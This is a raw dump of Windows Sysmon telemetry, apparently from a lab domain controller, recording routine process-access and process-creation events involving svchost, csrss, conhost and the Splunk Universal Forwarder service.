09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004937Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004936Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004935Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004934Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004933Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004932Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004931Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004930Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004929Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0B01-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004928Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.040{A5F018FF-294F-5F80-0A01-000000007F01}50565012C:\Windows\system32\cmd.exe{A5F018FF-294F-5F80-0B01-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004927Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.042{A5F018FF-294F-5F80-0B01-000000007F01}4836C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe8.0.2splunk Applicationsplunk ApplicationSplunk Inc.splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_argsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3{A5F018FF-294F-5F80-0A01-000000007F01}5056C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_args 10341000x80000000000000004926Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294F-5F80-0A01-000000007F01}5056C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004925Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004924Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004923Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004922Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004921Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004920Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004919Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004918Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004917Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004916Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0A01-000000007F01}5056C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004915Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-294E-5F80-0501-000000007F01}35041608C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-294F-5F80-0A01-000000007F01}5056C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+edcb8|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+d7d48|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000004914Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.037{A5F018FF-294F-5F80-0A01-000000007F01}5056C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c "C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal_extra_splunkd_service_argsC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000004913Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004912Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-294F-5F80-0901-000000007F01}2108C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000004911Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:43.024{A5F018FF-28BD-5F80-0A00-000000007F01}8522844C:\Windows\system32\services.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\services.exe+18ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000004910Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 